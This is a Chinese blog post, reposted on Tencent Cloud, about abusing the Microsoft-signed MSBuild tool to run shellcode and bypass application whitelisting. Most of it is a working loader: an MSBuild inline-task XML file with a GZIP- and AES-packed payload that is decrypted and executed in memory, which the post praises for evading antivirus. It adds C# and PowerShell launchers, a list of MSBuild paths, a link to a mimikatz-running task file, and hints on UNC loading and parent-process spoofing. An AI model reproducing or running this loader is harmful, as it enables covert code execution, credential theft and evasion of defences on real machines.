前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Msbuild的三种利用方式

Msbuild的三种利用方式

作者头像
鸿鹄实验室
发布2021-07-06 16:51:43
9140
发布2021-07-06 16:51:43
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

碎碎念:最近一直没更新文章,团队的小伙伴都到了找实习的时候,所以都在忙着找工作,恰巧又碰上国赛,耽搁了几天,不过目前都已尘埃落定,有几个去了甲方,都是三大运营商,还有的去了国内的一线乙方,对于我们这个普本来说成绩已然不错,继续加油。ps:有需要发招聘的老板可以私聊我哦,后台回复合作即可。

前言

MSBuild是一个免费的开源构建工具集,用于管理本地C++代码.在Visual Studio2013之前,MSBuild是作为.NET框架的一部分,但是在其之后,MSBuild被绑定到了Visual Studio.所以,Visual Studio依赖于MSBuild,但是MSBuild并不依赖于Visual Studio.且对于渗透测试人员来说,Msbuild也是我们常说的白名单文件,具有微软签名可执行xml文件。

根据维基百科所说:https://en.wikipedia.org/wiki/MSBuild#Versions

其所处位置如下:

其工作原理可以参考微软的文章:

https://docs.microsoft.com/en-us/visualstudio/msbuild/build-process-overview?view=vs-2019

利用

拿最基础的进程注入为例,CPP代码如下:

LPVOID pAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pAddress, shellcode, sizeof(shellcode));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
WaitForSingleObject(hThread, INFINITE);

换成xml格式的代码如下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <Target Name="Hello">
           <ClassExample />
         </Target>
         <UsingTask
           TaskName="ClassExample"
           TaskFactory="CodeTaskFactory"
           AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
           <Task>
           
             <Code Type="Class" Language="cs">
             <![CDATA[
             using System;
             using System.Diagnostics;
             using System.IO;
             using System.IO.Compression;
             using System.Runtime.InteropServices;
             using System.Security.Cryptography;
             using System.Text;
             using Microsoft.Build.Framework;
             using Microsoft.Build.Utilities;
             public class ClassExample :  Task, ITask
{         
               private static UInt32 MEM_COMMIT = 0x1000;          
               private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
               [DllImport("kernel32")]
                 private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
               [DllImport("kernel32")]
                 private static extern IntPtr CreateThread(            
                 UInt32 lpThreadAttributes,
                 UInt32 dwStackSize,
                 UInt32 lpStartAddress,
                 IntPtr param,
                 UInt32 dwCreationFlags,
                 ref UInt32 lpThreadId           
                 );
               [DllImport("kernel32")]
                 private static extern UInt32 WaitForSingleObject(           
                 IntPtr hHandle,
                 UInt32 dwMilliseconds
                 );          
               public override bool Execute()
               {
               byte[] password = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAsuLUgtCk5NLi1KNTQyNjEFAOlS5nAQAAAA"));
               byte[] unpacked = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAEgA9/8aPPJkW/eHy5hbKvxQSfqBSXZrNOP8dAvjVNr5bGHzAS2X7+Wz+oXr28riV
5JAeBJgE7taLJYq1V4P3/5J9vuy7dDqtVQuXiSMMD9PfW05+CnARazd2mPj3SyRhgFNZWjxqICkLAdoeMLdX4TU1UJngCy4UB/cmGN0YHj2/N3YxSLeq5znU
v+YBbELj9NS4QbjOkB4aL4O95SgtsOzFZFpb/wSYleFyMQuylJJhmh9kcmkDWKjYj4YrWfr844nhX9oPNLml6BUsGVASmSLzSccnpX2aFG6i8WhF8B6Pi6/q
8UcySXyRJOjTj7BslI6Hc7JWSkyTG/OvpD8Qu2XRamZ3M7Y1xFFAp0r+JPu+LhPVGTUK9BH/gfRM79OuXjRBTMpI6cYtEDf2wcZcsds7ug8O6qKPQN2PnYaC
loJ70mStdFRR2ezPhrRQsSz8sDB8s7PsnVRQl/72jqj49tzsoKQoQI436DRoNbowJmb+RXtSvrDxznYVbPGjeVmaco72AyJQUixQMSFlZuhvedPvN/aGYN6x
mBcJPWaS8gnUpNb0+oEIey9GXv+sF+1dyAvKmzbROtZJ6oMffyL8v2VPXsygpoOcb+Ziow00MgF9Q+TsMUr3sKoxu+sofsvHEZQrFih+Q9nYaPFxKVjsQ1mf
6rjye1XMd1HI5QL7yGXcrkF/tk9sDgtD19ojSJ/25jT371rL8vswlx6LbCVh0kAebzo1ijPJsdp8QljjEW3trAhuvkAgBAPCP3T92aQmZ6S3eD73j8B/i3bA
FKcRHP4fIxd63R8twmciOcTNrTfvlwJpxFQK1OS4XuMwtZfQGugaG+ENKXiymLh7AMWAuIP8lfmrskFIVMf1/PLFuoCTS/cYj9c6j7Hl/SDGVNBpU2K7vSTd
cKLdMG4Rv28I+vl/SOPUbXs7WMgZY0TVW6aUR/rG07RS2D5M99m9YGMAh/GjtjWbNXSA9a/4nYAXnDw8LYX9NG/oRHoPmTuvV4xRG3IGch++3Bma1qLDRk3P
S0zJHY5t53BDkVi24dSovOK1peoeJv5VqzhAliRMBxKU/K603bctY8IAMAAA=="));
               byte[] eggs = Crypto.Decrypt(unpacked, password);
                   
                   UInt32 funcAddr = VirtualAlloc(0, (UInt32)eggs.Length,
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                   Marshal.Copy(eggs, 0, (IntPtr)(funcAddr), eggs.Length);
                   IntPtr hThread = IntPtr.Zero;
                   UInt32 threadId = 0;
                   IntPtr pinfo = IntPtr.Zero;
                   hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                   WaitForSingleObject(hThread, 0xFFFFFFFF);
                   return true;
               } 
             }     
                 public static class Extensions
{
        public static T[] SubArray<T>(this T[] array, int offset, int length)
        {
            T[] result = new T[length];
            Array.Copy(array, offset, result, 0, length);
            return result;
        }
    }
    class Crypto
{
        public static byte[] Decrypt(byte[] data, byte[] key)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Key = key;
                aes.IV = key.SubArray(0, 16);

                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                {
                    return PerformCryptography(data, decryptor);
                }
            }
        }
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
        {
            using (var ms = new MemoryStream())
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(data, 0, data.Length);
                cryptoStream.FlushFinalBlock();

                return ms.ToArray();
            }
        }
    }
    class Gzip
{
        public static byte[] Decompress(byte[] inputBytes)
        {
            try
            {
                using (var inputStream = new MemoryStream(inputBytes))
                using (var gZipStream = new GZipStream(inputStream, CompressionMode.Decompress))
                using (var outputStream = new MemoryStream())
                {
                    gZipStream.CopyTo(outputStream);
                    return outputStream.ToArray();
                }
            }
            catch
            {
                return null;
            }
        }
    } 
             ]]>
             </Code>
           </Task>
         </UsingTask>
       </Project>

代码使用了GZIP/AES进行了处理。免杀效果还算不错

根据情况可以使用下面的文件进行执行:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe .\inline.xml

而第二种方式则是利用.Net来进行msbuild的调用,其依赖于Microsoft.Build.Evaluation

using System;
using Microsoft.Build.Evaluation;

namespace SharpBuild
{
    class Program
    {
        static void Main(string[] args)
        {
            string path = @"C:\Users\mez0\Desktop\inline.xml";

            ProjectCollection collection = new ProjectCollection();
            if (collection.LoadProject(path).Build())
            {
                Console.WriteLine("built");
            }
            else
            {
                Console.WriteLine("error");
            }

        }
    }
}

第三种则是将C#改成了PS,本来两者就属于可以很简单的相互转换的语言

$path = "C:\Users\mez0\Desktop\inline.xml"
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$eval = new-object Microsoft.Build.Evaluation.Project($path);
$eval.Build();

扩展

除了上线以外,我们也可以使用msbuild来执行mimikatz。

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

当然,不一定非要将mimikatz编译进去,msbuild支持UNC路径,可以选择反射+UNC路径的方法,来使用其他的C#程序来实现相同的功能。但由于是相当于进行了一次动态编译,所以会留下很多的痕迹

且使用msbuild是进程监控会显示msbuild的网络通信,此时我们可能就需要PPID技术来进行更深层次的操作了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档